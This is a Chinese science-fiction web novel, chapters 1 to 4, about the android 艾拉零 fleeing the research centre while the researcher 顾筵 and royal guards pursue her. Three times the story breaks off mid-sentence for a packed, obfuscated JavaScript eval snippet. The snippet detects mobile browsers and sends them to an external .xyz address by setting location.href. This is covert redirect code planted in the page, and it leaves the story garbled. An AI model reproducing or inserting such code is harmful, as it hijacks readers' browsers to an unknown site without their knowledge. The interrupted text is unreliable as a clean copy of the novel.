《图灵收到了花》 1. 朋友 “我觉得这条路,是活的,它正在引领我们进入死地,神明的禁区。那是怎样一种暗无天光的邪恶存在……”清晨的雾气裹着羊肠小道,一直延伸到未知的地方。 “闭嘴,西弗斯。这就是个普普通通的小巷。” “你不可以说这样的词!你,不可,如此粗鲁!”佝偻着身体的矮小男人双手背在身后。 “我说了,闭嘴,关机,K902。” 西弗斯像被什么东西卡住了脖子一样发出一声怪叫,摇摇晃晃着,砰地一声,四肢猛地散开,露出超密度金属材料的内里,又如叠衣服一般折叠成一个手持大小的金属圆盘。 “欢迎光临,亲爱的,你一定很冷,让我……哦,天哪,是艾拉。让我好好瞧瞧你,快来,坐壁炉边上会暖和许多。我猜你一定是来为洛瑞博士取酒的,她就好这口。” “不,露西夫人,我只是路过,想念这里的烤肉帕尼尼套餐。” “当然当然,无上的美味,本店最热卖的得意之作,那香浓的芝士,多汁的牛肉……你怎么有兴趣吃这个?亲爱的,要知道你跟在洛瑞博士身边时总是只吃那些让我看上去食欲全无的东西。”她没有过多地纠结,志得意满地挺挺胸脯,“我就知道,没有人能抗拒我的烤肉帕尼尼。” 露西夫人转身去张罗,她的丈夫总是埋头在厨房里忙活。 三三两两的住民聚在一起聊天,艾拉零倚在门旁张望片刻,选择了靠窗的座位。 将边缘刻着K902的金属圆盘郑重放在对面座位前的桌上,西弗斯气急败坏的声音在她脑内响起。 “你不可以在我这幅模样的时候当着我的面吃东西,休!想!” “可我饿了,西弗斯。” “不,你不应该饿!” 露西夫人一个人忙活前厅,实在不是个能面面俱到的。 艾拉零从吧台取了只高脚杯,轻车驾熟地越过老旧的木桶去接冷水。 陈旧的木门猛烈震动,夹缝中的灰尘簌簌抖落,最终发出一声悲鸣,轰然倒塌。 小酒馆里浑浊的空气也静止了,众人眼见着三名彪形大汉略显困难地挤进对于他们来说有些狭窄的门框。 “哦,上帝,我上个月才新换的木门,上好的胡桃木,镇上最有名的木匠……” “酒。”为首的汉子喘着粗气,环视四周,周身的威压让人不敢抬头打量。 此时艾拉零已经入座,不动声色地观察着门口的情况。 她轻轻抿了一口带着水道腥气的水。 “烤肉帕尼尼就算了,你还要喝水?!我们现在可没有条件让你返厂检修。” 艾拉零无言地将杯中水饮尽,发出一声喟叹。 “我真希望自己能吃上这儿的招牌套餐。” 西弗斯评价道:“你这句话很像人类了,再接再厉。” 彪形大汉们互相看向彼此,使了个眼色,鱼贯而入。 露西夫人刚把切成薄片的牛肉送进烤箱。 “抱歉,夫人,我以后再来。”艾拉零的声音伴着一声喀嗒,她掀开了沾满尘土的木窗。 尘埃扑簌簌落下,在刺目的日光照射下飞扬。 “再会。” 她一个翻身钻了出去。 “她跑了!” “追!” “包抄!包抄!你们这群蠢货!” “让开!” “看在上帝的份上!我的窗!”混乱中夹杂着露西夫人的尖叫。 西弗斯愤愤道:“看看你闹出来的动静!” “你先看看他们的型号?”艾拉零轻盈地在破败的小巷中穿行。 接收到指令的西弗斯立刻开始工作,嘴上却不饶人。 “我必须警告你,你刚刚的处理方式十分不合理……” “型号。” “一帮杂碎,安德鲁型,需要他们的具体编号吗?” “用不上了,闭上嘴,风灌进去可不好受。” “我需要提醒你,这不叫‘嘴’,我更希望你叫它言和感应器,这……” 圆环灌了风,发出一声爆响,不论如何,西弗斯可以安静一会儿了。 与此同时,帝国产业技术综合研究所仿生技术研究中心的会议室里回归了宁静。 洛瑞博士还在座位上没有起身。 她烦躁地揉搓了一下脸颊,眼角的细纹被撑开又皱起。 有人敲门。 “博士。” “顾,你来了。” 门口的男子穿着工作服,温度适宜,室内用不着防风,拉链被随意拉到一半,露出黑色的内衬。 他有着深棕色的眼眸和一头乌黑的短发,在研究中心里的旧东方血统已经很少见了。 洛瑞博士看到顾筵,神情舒展了些。 “大卫刚刚找到我说了艾拉的事情。” 洛瑞博士疲惫地点点头:“他们觉得是我放走的,我不想反驳,毕竟原本我也觉得这样如我所愿。” 顾筵抬了下眼睑,随即眉峰也轻轻挑了一下。 “我不明白。” 看到洛瑞博士的反应,他知道他表演得恰到好处。 “原本这些事情是不应该拜托你的,顾。你的前程有太多选择了,我本不希望你和研究室牵扯太深……” 顾筵:“事实上,我认为我的前途就在这所研究室里,博士,你应该读完我近期的报告了。” “这就是我为什么要找你来的原因。” 洛瑞博士终于起身,将手中的微型录音笔放在长桌一角。 “听完这个以后,我希望你把艾拉找回来。赶在所有人之前。”她顿了一下,“如果可以,在路上听我会更感谢你。” 顾筵勾了勾唇角:“我也是这样想的。” 大卫在门口候着,看到顾筵出来,彬彬有礼地问候: “你的表情显示你和博士聊得很愉快,与以往每次出她办公室时的神情都不同。我为你感到高兴,朋友。” 他举起了左手,顾筵顺其自然地与他击掌:“谢谢,我等这一天已经太久了。” 步伐轻快地离开没多久,大卫回过头看向走出来的洛瑞博士。 她一双碧眼始终盯着顾筵远去的背影。 “你认为他刚刚最后的那句话是什么意思?” 大卫嘴角上扬的弧度刚刚好:“他一直在期待您的认可,博士。” 洛瑞博士扬起下巴:“我十分好奇如果艾拉在这里,她会如何回答。” “博士,我很难回答如果的假设,那会使我回答的篇幅过于冗长。” —————— 等到艾拉终于放缓了脚步,西弗斯终于也能喘气了。 “要我说,你就不该在我这把老骨头面前炫耀你强大的物理机能。” 艾拉拨开杂草丛,仪表显示他们已经接近中心区的边缘了。 “你说过的,按照人类的说法,我们在逃难。” 西弗斯气急败坏:“按照人类的说法,你这叫狡辩!”他又开始絮絮叨叨,“我们迟早完蛋,他们会追过来的。” “我知道。” “你知道?!你知道,就不该——” 这一下,西弗斯的声音戛然而止,却未曾安静,而是伴随着剧烈的电流声。 艾拉眉头皱起,如果西弗斯能正常响应,一定会说“你不可以做出这种表情”。 她摆弄了一下圆盘的触控系统,已经无法工作了。 “研究中心应该好好设计让你快速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073036|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静下来的方法的。” 艾拉闪身藏进隐蔽的杂草丛,果断将右手紧握成拳,朝言和感应器上一砸。 “很好,这下安静了。” 她从腰间的皮囊中取出一张卡片,就地拔出几丛杂草叶,将废土踩平整。 在土地上操作设备使她最不愿意做的事情,但现在也没有条件给她提供更好的场所。 这里湿度不太够,空气显示只能勉强看清屏幕,艾拉不得已将字体调整得更大一些好分辨那一行行扭曲的字母。 “让我们来看看那些家伙有没有修改你的代码……暂时安全……” 她喃喃低语着,提交历史里空空如也,以防万一,她又从头一行行快速确认。 那群人过于精明,是人类里的佼佼者,鲁莽地运行检测程序只会将自己的定位主动暴露。 原始的方法繁琐了些,但安全。 西弗斯意识恢复后的第一件事就是确认自己各项机能正常运行。 伸展躯体时有些小小地卡壳,他粗声粗气地叫唤道:“用不着你像我说明,我也知道在我无响应的期间你揍我了。” 艾拉沉着脸:“量子干扰器生效中,他们反应很快,我只有几分钟的时间给你做间断的说明。第一,你的代码被修改了。” “这不可能!” “具体被修改了什么我还需要时间查明,等会儿我会直接物理屏蔽信号来拖延时间。实在不行……我会去北方基地启动电磁脉冲。” 西弗斯的声音听上去像真的倒抽了一口冷气:“你疯了,你这个疯女人,不!疯……机器!” 艾拉:“随便你骂,但这里就牵涉到第二点,我们有帮手。” “谁?什么时候?怎么做的?” 量子干扰器的调节按钮微微躁动。 “时间到了,回聊,西弗斯。” 她切断了西弗斯的电源。 此时西弗斯代码的传导画面已经显影在她的工作本上。 西弗斯系列是帝国专攻特工行动设计的型号,经过几次迭代,代码已经尽善尽美。 可K902却显示了数段无意义的代码行。 有人在提示她。 可是,是想告诉她什么? 艾拉背靠大树,目光落在无意义代码行的后三段。 这三段的代码风格与整体完全不一致,显然是被第三者加上去的。 敌? 友? 不远处一座高塔塔尖的信号灯突然闪烁,吸引了艾拉的目光。 收好再次叠成圆环的西弗斯,艾拉如一条蛇影缠缩到大树高处。 茂密的树丛比下面潦草的杂草丛更安全。 艾拉无声地躺在树枝上,耳廓微动。 卫兵。三人。 卫兵A:“什么任务?” 卫兵B:“研究中心的老鼠跑了。” 卫兵C:“老鼠?我可是中尉,让我来捉老鼠?” 卫兵B:“闭嘴吧蠢货,你还不如老鼠。” 卫兵A:“我知道那只老鼠,伟大的洛瑞博士的完美之作,无限接近于人类的仿生人。听说任务中惹了大麻烦。” 卫兵C:“任务?那东西的任务不一直都是给重要任务做保镖?最近也没听说有暗杀成功的案例,能惹什么大麻烦?” 卫兵B:“你再努把力,升到上尉,没准就能知道了。” 卫兵C:“努力?那是仿生人老鼠们才需要操心的事情。” 卫兵A:“女体仿生人们别往歪处努力,多努力学学床上功夫要紧。” 卫兵们猥琐地笑开,相继走远。 艾拉安静如雕像,气息全无,直到卫兵走远,她才缓缓睁开眼睛。 此地不宜久留。 2. 木屋 顾筵的影渡是无机质的银灰色,低调得能隐匿进斑斓的霓虹灯中。钻进车体里,熟练地穿戴起神经节点手环,等待通行许可的这段时间里,他打开了洛瑞博士给他的录音笔。 老旧的文明残留物,音质夹杂着电流声,显得人声僵硬得像初代仿生人。 “能告诉我你的名字吗?” “艾拉。”艾拉零的声音就正常多了,清亮悦耳,更奇异的是轮到她说话时,电流声也低了几个频段。 “我是说你的‘名字’。” 艾拉零顿了顿,似乎有些不情愿:“艾拉型零号。” “你的母亲是谁?” “洛瑞博士。”大约是对方做了个什么表情,“不是生物学上的母亲,我当然知道,你们该不会以为我连这都不懂吧?” “很好,我们来谈谈五个小时之前的事情吧。” “好的。” “五个小时之前,我们的人给你委派了保护王储的任务。” “是的。” “根据任务指示,你应该护送王储从中心区前往神湾视察。” “不错。” “对于此次行动你有什么要补充的吗?” “神湾是贫民窟,发生了动乱,这是事先就能预测到的事情,我和卫兵们一起保护了王储,成功撤退。” “……是的,你做得很好。” “我的职责所在。” “……我想我们还有些其他的话题需要谈谈。” “我不明白,为什么你的表情告诉我你在质疑我?”艾拉零的声音确实充满了困惑,“王储一根手指都没少。” “可我们注意到,在保护王储撤离的途中,你救了一个贫民窟的小女孩。” 录音静默了短短一瞬。 艾拉零再次开口:“也许吧,如果你能准确形容出这名小女孩的体貌特征,会有助于我更好地定位记忆。” “哦,好的,让我看看……一名人类小女孩,旧东欧人特征,翡翠绿瞳孔,棕色卷发。” “是的,我在撤离途中拉了她一把。有什么问题吗?” “这就是问题所在——这超出了我们指定的任务范围。” 录音播放到这里,车载通信网络出现接通信号。 顾筵按下暂停键,接通了语音。 “筵,最近过得潇洒吗?”对方用语随意,和研究中心里的任何一个人都对不上号。 顾筵冷脸:“你如果不联络我,我会觉得更好。” “你知道的,我迫不得已,你有一阵子没有汇报进度了。” “一切顺利,如果你能减少联系我的频次,一切会更顺利。” “哦?”那头来了兴致,“怎么个顺利法?说来听听?” “你最好闭上嘴等我来联系你,如果因为你让我功亏一篑,我会在自己被撕碎之前,先撕烂你的嘴。” 他直接将信号切断,意识到自己的呼吸有些急促,睨了一眼手腕上的装置,缓缓做了几个深呼吸。 脑后有些不容忽视的异样扎在他的皮肤上,他不禁回过头。 大卫高大的身影静静伫立在不远处,那双深邃的蓝色眼睛正目不转睛地盯着他。 顾筵的身形如雕塑般僵直,双手落在身体两侧,握着拳的关节隐隐泛白。他深吸了一口气,鼻翼微微颤动,但呼出的气息却极轻。 守望者大卫,作为中心区最泛用的哨兵型仿生人,他的视线可以捕捉每一个细微末节。顾筵不安于那道视线的停驻,仿佛一把看不见的刀刃正在审视着着力方位。 但终归只是仿生人罢了。 顾筵缓缓掀起眼帘,与大卫对视:“还有事情?”他举起绑着设备的手腕,“我还在等通行许可,如果可以,希望你能帮我催促一下。” “我十分乐意帮助您,顾先生。艾拉是我的朋友,希望你一切顺利,希望她能安全。” “你还知道朋友这个词?你为什么会觉得你和艾拉是朋友?” 在顾筵看来,他每天的工作就是记录艾拉型的机能数值,大卫每天的工作就是记录艾拉型在研究中心的出入时间。 如何称得上是朋友?仿生人到底还是不熟悉他们的语言。 他不确定大卫有没有捕捉到他脸上的讽刺。 大卫平静地说:“艾拉告诉我,我是她的朋友。” —————— 洛瑞博士回到住处,今天没有艾拉零在家等她,有些寂寞。 她将室温调高了两度。 自己冲了麦茶,这是艾拉零为她准备的食谱,今天是星期四,晚餐是简单的东欧沙拉。 可食性植物已经极度稀少的现在,不可谓不算丰盛。 时钟跳到23:00。 这个时间是没有人来找她的。 洛瑞博士不喜欢全自动化的安全系统,如果艾拉零在,她会定时启动门禁。 显然,今天只能由洛瑞博士自己去确认开启。 门铃就是这个时候响的。 “谁?” “洛瑞博士。我是联邦王室护卫队第三队长杰德·欧门,奉命前来接您去安全的地方。” —————— 艾拉零又确认了一遍源代码,没有人更新信息。 但中心区肯定是不能呆了,她有个好去处。 没有了西弗斯的聒噪,艾拉零的耳边只有风扫过大地的声音。 风还扫过了她的头发,像极了洛瑞博士抚摸她的时候。 “艾拉,你喜欢这里吗?” “妈妈喜欢,我就喜欢。” 洛瑞博士慈爱地笑了:“我很喜欢,这里安静。如果你觉得不开心了,可以来这里待一阵。” “我为什么要觉得不开心?” “人类都会有不开心的时候,就像人类都会有开心的时候一样。我希望你大部分时候都是开心的。” 艾拉零仰起头:“我现在就十分开心。” 风忽然猛了一阵,在艾拉零的耳边呼啸一响。 她沿着中心区边缘从南走到了东。 这是根据旧纪元的地球方位定下来的方向,至于为什么这边是东,那边是北,就连小孩子里的课本也不提了。 使用坐标定位太过冒险,她试图凭借记忆锁定方位。 但她对东部的信息更新不及时,因为只有在任务范围之内,她才被允许更新地理信息。 “一直往东走就没有错。” 记忆中的洛瑞博士穿着迷彩服,举着脉冲武器回头朝她招手。 “看,就在前面,欢迎来到我的木屋。从现在开始也是你的了。” 这片土地没有之前那么荒凉了。 树林还在两英里之外,道路两侧零零散散有了几座砖房。 走近了才发现连庭院也被精心打理过,有位老者正在花园中乘凉。 “这里很少有生面孔,孩子,你从这里经过,是要去树林?” 老者看见了艾拉零。 没有行李,两手空空, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073037|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一身朴素的工装,皮质手套,皮质腰袋。 艾拉零猜测她现在的装束在这里格格不入。 “你好,我要去东边。” 老者忧心忡忡道:“那样得穿过树林,奇怪的人在树林造了古生物培养基地,有传闻说误闯的人都被吃掉了,我们都不靠近那边。” “谢谢提醒,我会在天黑之前穿到另一边去。” 老者叹息道:“那你快走吧,天黑了之后别说树林,连这里也不安全。虽然那些人做仿生人的生意,但偶尔碰见落单的人类女孩,还是会起歹心的。我的小女儿就是这样被掳走的。” 艾拉零停住了脚步,轻轻道:“很遗憾听说这种事,有什么我可以帮得上忙的吗?” 老者浑浊的目光终于松动了一刻,缓缓挪到她的脸上。 “已经是四十年以前的事情了,我想你暂时还帮不上我,就先祝你好运吧。” —————— 顾筵其实不明白那段录音有什么奇怪之处,就像一块拼图,他一定漏了些关键信息。 影渡的通行通知全绿,他悄无声息地滑入轨道,消失在斑斓的霓虹灯中。 大卫目送他远去,接着缓缓移动高大的身形,站定在研究中心防护门后的一角,隐匿在黑暗中,继续扮演着一名永恒的守望者。 脱离了研究中心的网络,终于到了他能施展拳脚的时候。 轻车熟路地黑掉监控系统,现在他有三十分钟时间收集足够多的信息。 K902的代码被人浏览过几次,艾拉零显然已经在行动了。 顾筵勾了勾唇,她的确足够聪明,聪明到不需要沟通就能对上他每一步计划。 比起她那边,顾筵更好奇联邦王室的行动。 他在超网中游刃有余,任何情报都难以逃过他的眼睛。而他始终隐匿于暗处,超网中的其他个体完全无法察觉他的存在。他是这片虚拟世界的神明。 可神明对于得到的消息笑不太出来。 “提取军队集结坐标。” 全息屏幕上显示出东方的一个小点,不断放大,放大,再放大。 这一次,除了数字之外,还有个名词显示了出来。 “木屋”。 什么意思? 他将这个名词和坐标一起再次投入超网中寻找蛛丝马迹。 一份十三年前的隐藏文件浮出水面。 命名:木屋 所有者:艾拉·洛瑞 时间:新纪元735年10月19日 艾拉·洛瑞? 这个名字在顾筵的唇齿间绕了一圈。 事情似乎复杂了许多。 他们为什么在那里?有多少人?目的是? 顾筵敲开了通讯系统。 “我真没想到你这么快又联系我,荣幸之至。距离我们上一次通话才过了十三分钟……” “扬光,帮我查点东西。” “……干,老子就知道没好事。” “我早该想到的,该死,我只来得及查看了博士实名赞助过的所有研究,但如果她压根就没摆在明面上呢?” “我懂了,这种阴沟里的腌臜事就得我来干是吧。” “是只有你干得了。” “爱听,这事儿爷包了。你现在去哪儿?有空跟我聊这么久,不在研究中心?” “出个差。” 顾筵瞄了一眼倒计时,发送了偏航指令。 扬光吹了声口哨:“刺激。” 3. 血 听说曾经的地球有太阳的东升西落,艾拉零无数次想象过这样的奇景。 如果还能看到真正的太阳,她至少不需要在白天这么难寻找方向。 但这不是困于穹窿下的文明可以奢望的。 穹窿不是真的天空,是人类铸造的用来抵御太阳辐射的遮罩系统,说白了,弄个罩子把地球和太阳隔开,不能从根源上解决问题,但至少短时间内高枕无忧了。 只要拒绝太阳,就可以拒绝太阳带来的伤害。 离“关灯”还剩下三小时,看上去时间是充裕的。 她离树林越来越近。 联邦王室疆域的土质已经全部盐碱化,只有变异胡杨仍能野蛮生长。 常年承受低剂量辐射后残存下来的植株,已显现出明显的生存困境。尤其是变异后的胡杨,由于其高耸入云的巨大体型,即使在开灯提供光照的条件下,依然无法满足其对光合作用的需求,整体状态更显枯槁,形如枯木。 艾拉零用靴尖拨弄了几下地面枯黄的叶片,不动声色地扫视了一圈周遭的环境。 变异胡杨如同一条条瘦长的鬼影,不足一人宽的主干并不能作为合适的掩体。 她和洛瑞博士来时总是通过滑轨车走的专属通道,跋涉的方向也是从北向南。这片胡杨林是王室用来实验的生物多样性保护区,她们不曾涉足过。 关灯后情势会更险峻,艾拉零并未犹豫太久。 光照打在胡杨上投下张牙舞爪的影子,艾拉零的皮靴踩上去。 光影不过是虚张声势的小丑罢了。 一声哀鸣响彻树林,接着是伴着回响的扇翅声。一群惊鸟腾空飞起,四面八方都是敌意。 光照微弱了一些,这是关灯的信号。 确认安全后,艾拉零从皮质腰袋中取出一捆超纤维,返回入口处仔仔细细绑在入口处的胡杨上。 超纤维以韧性极佳闻名,有价无市。她手里这捆,也是洛瑞博士走特殊门道弄来的。 唯一的缺点就是弹性不足。 她特地将纤维绑得高了些,若是还能让奔驰而过的野兽身首异处,她不介意返回的时候来顿野外烧烤。 中心区地势偏低,偏偏在树林往东的地方有处陡坡。 这难不倒艾拉零,她生来就擅长与险恶的环境打交道。 虽是陡坡,但地势谈不上险恶,费点劲而已,徒手就能登上去。 艾拉零喜欢速战速决,攀登上坡顶并没有费多少力气,但一双目光如炬的琥珀色眼睛着实令没有准备的她心头一紧。 下一刻她才注意到这只几乎与环境融合在一起的生物。 浅色皮毛仿佛映射着光影,纤瘦的身形则充满力量和敏捷,无声无息却危险异常。 人类做不到在她周围隐藏气息,但这只阿拉伯狼做到了。 它低伏在不远处的一片稀疏杂草后,耳朵微微竖起,鼻尖轻轻嗅动。它的身体几乎与贫瘠的土地融为一体,毛色与周围的黄褐色地貌浑然天成,仿佛是胡杨林间的幽灵。 艾拉零屏住了呼吸,双手下意识地贴在身体两侧,手指微微蜷曲。脑海中闪现了无数个应战方案。匕首在腿侧,如果要取,只有一次机会。 阿拉伯狼的目光冷静而锐利,像是透过她的眼睛直视灵魂深处。它的眼神中没有显露出明显的敌意,但也没有半点退缩的迹象,更多的是一种审视,像是在衡量她是猎物,还是值得敬畏的对手。 双臂已经微微酸胀颤抖,但她的目光依旧坚定地与这只孤狼对视。她知道自己不能显露出怯懦,否则,这只狼会毫不犹豫地撕碎她。时间仿佛在这一刻静止,而孤狼的尾巴轻轻一摆,像是某种无声的回应。 最终,那只阿拉伯狼站起身来,纤瘦的身体在斑驳的光点下勾勒出一条凌厉的弧线。它没有发出任何声音,只是将目光从艾拉零身上移开,转身踏着轻盈的步伐,融入到胡杨林的远方,消失在枯萎与茁壮之中。 阿拉伯狼离开后,艾拉零才从紧绷的状态中缓过来,一鼓作气撑起躯体将自己送上坡顶,后背已经被汗水浸湿,尘土黏了她满身。 她极少如此狼狈。 等休息够了,她才起身,既然有动物游荡,附近就一定有水源。艾拉零抬头看了一眼上空的亮度,迅速作出抉择。 木屋那边一样有水源。 她回头朝陡坡下看了一眼,超纤维依然笔直。 很好。 将超纤维往坡顶的胡杨上再绕上一圈。 剩下的路程不远了。 坡顶的生态更好了些,艾拉零伴着虫鸣走出树林时,光线已经很昏暗了。 摸出特制的匕首将超纤维割断,丝线像断了根的经络塌向地表埋进枯叶中,肉眼极难分辨。 胡杨林外的风景熟悉了不少,艾拉零在脑海中重新复盘了一下默记的地标,双腿踏上松软了不少的土壤。 头顶又是一声鸟鸣,还是那群不知名的惊鸟,艾拉零抬头看到它们似乎原本还冲着树林外飞,却不知遇到了什么无形的阻力而改变了方向,怪叫着仰头划出一个半圆,又重新飞进那混沌的牢笼里。 王室好大的手笔。 艾拉零踏进木屋外的边界线,立刻警觉地停下脚步。 除了她,还有别的气息在搅乱木屋的宁静。 她迅速搜索掩体,如鬼魅一般潜入夜色。 人类四名,仿生人三名。 西弗斯不在,她不擅长识别更具体的仿生人型号,如果能在交手前探清对方的虚实,她将能占据更大的优势。 一百英尺是她能接近木屋的最极限距离,若不谨慎行事,她极易被木屋里的仿生人发现。 “没用的老鼠,搜这么一间破屋子那么费劲?” 隐隐约约能听见木屋里传来的声响。 艾拉零调整了一下姿势,试图多听些有用的信息。 “普通的木屋,长官。” “没有什么特别之处,长官。” “长期没有住人了,长官。” “老鼠就是老鼠,你能指望它们的脑子?”又是一个人类傲慢的声音。 “算了,吵什么,小心直接被那怪物闯进来把我们全灭了。” “只有你会怕这种老鼠,怂货。” “没听说吗?那只老鼠是那个老女人做得最接近人类的怪物了,没准她现在的目标根本不是这间破屋子,而是混进了人群里,假装自己是个人……” “闭嘴吧,你们几个,出去外面守着。老鼠是不需要取暖的。” 有三双脚步踏步走到了屋外。 艾拉零猜就是那三名仿生人。 她把头探过去一些,她眯起眼睛想看得更仔细点。 金色短发,目测身高六英尺三英寸,身形壮硕,是她没见过的型号。 她讨厌未知。 刚想退回去,其中一名仿生人手中的探照灯精准地转向她的所在之处,无所遁形。 “发现可疑目标。” “锁定可疑目标。” 发现她的那名仿生人以一种完全无法捕捉到的速度靠近,只一眨眼的功夫,他们的距离已经只剩两英尺。 侦查能力一流。 这是哪家的秘密研发? 艾拉零往后一闪,堪堪躲过对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073038|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的第一击。 新型仿生人的拳头砸空,直直击向地面,顿时形成了一个凹陷。 削掉一名仿生人的踝部是她最惯用的手法,她无意攻击他们,偶尔能在任务里对上,只要限制对方的行动能力,她就可以以最效率的方案完成使命。 她现在的使命就是不被王室逮到。 仿生人应声倒地,这个型号艾拉零没有见过,以防万一,腕关节也只好请王室返厂修一修了。 再次装填一枚冰弹,她回身对准目标时,对方的手掌朝她高高举起,掌心是个黑洞洞的枪口。 艾拉零只反应了零点几秒,毫不犹豫地将枪口对准了仿生人的头颅。 一击即中。 —————— 扬光给顾筵打了个信号,意思就是摆平了监控以后来找小爷我。 顾筵哼了一声直接按了过去。 “讲。” “我怕你听了之后要直接把我供到你祖宗排位上。” “那你还是别讲了,我怕你扰到我列祖列宗。” “别,别,别。说正事。哥们儿问你,你在博士那儿见过这个吗?” 扬光传来的是一份病历。 “急性呼吸窘迫综合征?” “你多看一眼名字呢?” 艾拉·洛瑞。 又是艾拉·洛瑞。 顾筵沉思良久。 “洛瑞博士有个女儿,是不是叫艾拉,我还没查到。” “我给你指条明路——该不会这个谜一样的零号艾拉不是仿生人,是博士的私生女吧?你之前传回来的数据里,没有零号的任何消息。” 这话不假,顾筵花了一年才拿到进入专区记录艾拉型仿生人数据的资格,洛瑞博士却始终没让他碰过艾拉零的数据。 顾筵的默认代替了回答。 扬光玩味地笑起来:“那就有意思了,不如我们来验证一下?” “怎么验证?” “你趁她不备,捅她一刀,流血了死了,就是私生女,没死没流血,就是仿生人。” 顾筵嗤了一声。 “听上去好像古世纪处死修女的方式。” “先不提这些了。”扬光很快收住话头,“在拿到实际证据之前,所有假设都只是无稽之谈。至于洛瑞博士的那些风流韵事,跟我们并没有关系。我们的目标很明确——拿到艾拉零的具体数据,这才是我们复制联邦王室最强战力的关键。” 流血了的是不是私生女,顾筵觉得没什么关联性。 但流血了的不是仿生人,他是可以确定的。 木屋西北十英里,他循着血迹和一路的人类尸体还有仿生人的残躯,看到了一个熟悉的身影。 他已经持续记录了艾拉型的数据半年多,昨天最后一次记录的艾拉型编号为三五五。 感情分类准确率89%,信噪比45dB,皮肤仿真度99%,散热效率评级优越,负载运行时间56小时,力量输出9689N。 他坚信艾拉零的数据会比三五五更优,这是一个心照不宣的秘密,艾拉零是洛瑞博士手里的最后一张王牌,是她能坐镇研究中心的不二法宝。 这半年经他手记录过的艾拉型他可以百分百确定是仿生人。可如果零号是血肉之躯,她又是如何在其他型号一一被快速淘汰的情况下,始终保持着无可替代的地位? “你对于洛瑞博士究竟有什么特殊的意义吗……”在浓烈的血腥气味中他如同被蛊惑了一般探出手,似乎是想确认艾拉零后背的血迹是否真实。 鬼使神差地,手心虚空拂过她的轮廓,他拨开了她的额发。 4. 守则 洛瑞博士和她说话的时候,声音总是柔柔的,卸下了所有盔甲,朝她展现人类所能表达的全部温柔。 “艾拉,永远不要让别人看到你的弱点。” “妈妈,艾拉没有弱点。” 洛瑞博士摇摇头:“你的存在本身就是一种弱点,会把你逼到万劫不复。” “我不明白。” “现在的你还不明白,但终有一天你会懂的。在那之前,时刻保持均匀呼吸,不要让任何人看到你流血。” 洛瑞博士警告的两点,她一直做得很好。 她击倒了三名仿生人,可以全身而退。 直到她被绊倒在地,一名人类卫兵狞笑着扑上来。 “还以为多有能耐,直来直去的,只配被阴啊。” 匕首深深插进肩胛骨的痛使她清醒,眼睛直勾勾地盯着离地面一拳距离的超纤维布的网。 不肖想,是刚才和仿生人鏖战时那三人配合作战布下的。 “看看这是什么!血!”人类卫兵兴奋地叫起来,剩下的卫兵也从四面八方集结过来。 “推论是真的,必须马上给王禀报此事。” 听到“禀报”这个词时,艾拉零的眼中一丝寒光闪过,反手一个肘击脱困,左手攀上还插在肩上的匕首,咬紧牙根,用尽全身的力气抵抗自己本能的颤抖。 一个都不能放跑。 一个都不能! 她感到体温也在随着血液流失,从来没有受过这么重的上,这些症状只在被植入的知识芯片里见过。 直到最后一名人类卫兵也被她从身后鬼魅般绕上脖颈,一把扭断,她终于力竭倒地。 她最后看见的是一双琥珀色的眼睛。 再次醒过来,她是被人背着的。 她想起曾经看过的书里,说被阳光晒过后的衣物上有温暖的味道。也不知道和现在她闻到的味道是不是同一种。 可地球上的万物已经很久都晒不到太阳了。 “……不要让任何人看见你流血。”洛瑞博士的声音振聋发聩,一瞬间她好像停止了思考。 洛瑞博士的话就是绝对正确的…… 绝对…… 腿侧的匕首还在,艾拉零机械地松开右手,这让她左手环在那个人肩颈上的力道更重了些。 “醒了就不要乱动,王室断了联系,一定会再派人过来探查。” “你是……”这个声音很熟,她一定听过。 在哪儿? 不,不重要,这个人,不能留。 握着匕首的关节继续收紧,泛出白色。 “你大可不必这样,我对你有任何不利,这只狗都能撕了我,你看它的眼神就知道。” 失血过多导致的钝感依然影响着她,听了这话她才将目光移到一旁。 是那匹阿拉伯狼。 身形全部隐蔽在夜色中,只有那双琥珀色的眼睛时时刻刻锁在她身上。 见她摸上匕首的动作,它蠢蠢欲动地呲起牙。 仿佛只要艾拉零认定这是敌人,它就能立刻送他下地狱。 “那不是狗……” 艾拉零忍着干燥的喉头撕裂般的痛开口道。 顾筵显然也感觉到了身侧的寒意,他头也不回,步伐坚定地朝前走。 “你就当我是移动工具也行,等脱险了再思考如何处置我。这一路上够你想清楚了。” 因为就他所知,艾拉型实验体有几十号都已经废弃完,不知道被秘密处理在哪里了。 说几十号可能都少了,他眼前又浮现出昨天记录册上的编号三五五。 所以现在她极有可能是仅存的艾拉型实验体。 伤口不浅,顾筵能感觉到。濡湿的后背昭示着现在急需止血。 他对这一片还不是很熟,只能叫扬光来指路。 